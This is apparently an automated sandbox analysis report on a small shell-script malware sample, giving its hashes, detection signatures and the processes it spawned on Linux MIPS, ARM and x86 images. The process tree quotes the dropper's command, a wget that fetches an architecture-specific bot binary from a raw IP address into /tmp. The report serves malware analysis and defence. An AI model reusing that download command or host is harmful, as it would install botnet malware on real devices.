Analysis
- max time kernel
140s - max time network
143s - platform
debian-9_mips - resource
debian9-mipsbe-20260513-en - resource tags
arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem - submitted
17/08/2026, 15:15
Static task
static1
Behavioral task
behavioral1
Sample
a9d9bd143f0e99a8098c2c6cc6cf94fc77fbc9f4f99873149940f0a613d9c0e3.sh
Resource
ubuntu1804-amd64-20260513-en
Behavioral task
behavioral2
Sample
a9d9bd143f0e99a8098c2c6cc6cf94fc77fbc9f4f99873149940f0a613d9c0e3.sh
Resource
debian9-armhf-20260513-en
Behavioral task
behavioral3
Sample
a9d9bd143f0e99a8098c2c6cc6cf94fc77fbc9f4f99873149940f0a613d9c0e3.sh
Resource
debian9-mipsbe-20260513-en
Behavioral task
behavioral4
Sample
a9d9bd143f0e99a8098c2c6cc6cf94fc77fbc9f4f99873149940f0a613d9c0e3.sh
Resource
debian9-mipsel-20260513-en
General
- Target a9d9bd143f0e99a8098c2c6cc6cf94fc77fbc9f4f99873149940f0a613d9c0e3.sh
- Size 3KB
- Sample260817-snbdlsdl21
- SHA256 a9d9bd143f0e99a8098c2c6cc6cf94fc77fbc9f4f99873149940f0a613d9c0e3
- MD5 90e15d4ef88cd1a39649fa94081e9446
- SHA1 3306e1bd03d8dd5500e79f5af90c33c3e025bfb2
- SHA512 ac7df76a7817f9b3780877dccd5975a1edeea10d2592a56460901ce947d28773e76b9c61b2e688031b5e8e161619622a94bda9dc85b6c5763b3650a478ef93e0
- TLSH T1AE71B667B9C05077C9CE083C13AEA045B886462F8D90AD5478BF31347F24950B7BEAAC
- MD5 SHA1 SHA512 TLSH
Malware Config
Signatures
- System Network Configuration Discovery 1 TTPs 1 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 716 wget - Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/.tmp_bot_709 wget
Processes
-
/tmp/a9d9bd143f0e99a8098c2c6cc6cf94fc77fbc9f4f99873149940f0a613d9c0e3.sh/tmp/a9d9bd143f0e99a8098c2c6cc6cf94fc77fbc9f4f99873149940f0a613d9c0e3.sh1⤵PID:709
-
/bin/unameuname -m2⤵PID:713
-
-
/usr/bin/trtr "[:upper:]" "[:lower:]"2⤵PID:714
-
-
/usr/bin/wgetwget -q --no-check-certificate -O .tmp_bot_709 http://103.77.246.150/mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:716
-